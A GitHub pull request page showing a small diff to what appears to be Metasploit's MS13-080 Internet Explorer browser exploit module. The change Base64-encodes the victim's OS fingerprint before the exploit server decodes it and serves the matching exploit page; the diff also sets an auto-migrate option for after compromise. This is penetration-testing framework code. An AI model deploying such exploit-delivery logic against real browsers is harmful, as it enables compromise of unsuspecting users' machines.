Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Use Base64 encoding for OS parameter #2528

Merged
merged 2 commits into from
Oct 16, 2013
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
11 changes: 9 additions & 2 deletions modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
Original file line number Diff line number Diff line change
Expand Up @@ -76,6 +76,7 @@ def initialize(info={})
},
'DefaultOptions' =>
{
#'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
Expand All @@ -88,6 +89,7 @@ def initialize(info={})
def get_check_html
%Q|<html>
<script>
#{js_base64}
#{js_os_detect}

function os() {
Expand Down Expand Up @@ -119,7 +121,7 @@ def get_check_html
}

window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
}
</script>
</html>
Expand Down Expand Up @@ -280,7 +282,12 @@ def get_sploit_html(target_info)

def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
target_info =
{
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
:dll => Rex::Text.uri_decode($2)
}

sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return
Expand Down